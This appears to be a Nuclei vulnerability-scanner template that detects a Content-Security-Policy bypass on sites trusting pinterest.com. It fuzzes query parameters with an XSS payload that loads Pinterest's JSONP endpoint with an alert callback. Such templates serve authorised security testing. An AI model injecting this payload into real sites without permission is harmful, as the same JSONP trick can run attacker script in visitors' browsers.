id: pinterest-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Pinterest API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,pinterest-api

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "pinterest.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: pinterest_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.pinterest.com/v1/urls/count.json?callback=alert&url=x"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "pinterest_api_csp_xss == true"
# digest: 4a0a00473045022100d9dca37be327e86b4405b90ac9666bf329e998ac07c3340b4a0f53945642366202205e41acf7d60551b6c2e5d6c50664ae4d9dff6c9cfec1b1a4d11788dc445f475e:922c64590222798bb761d5b6d8e72950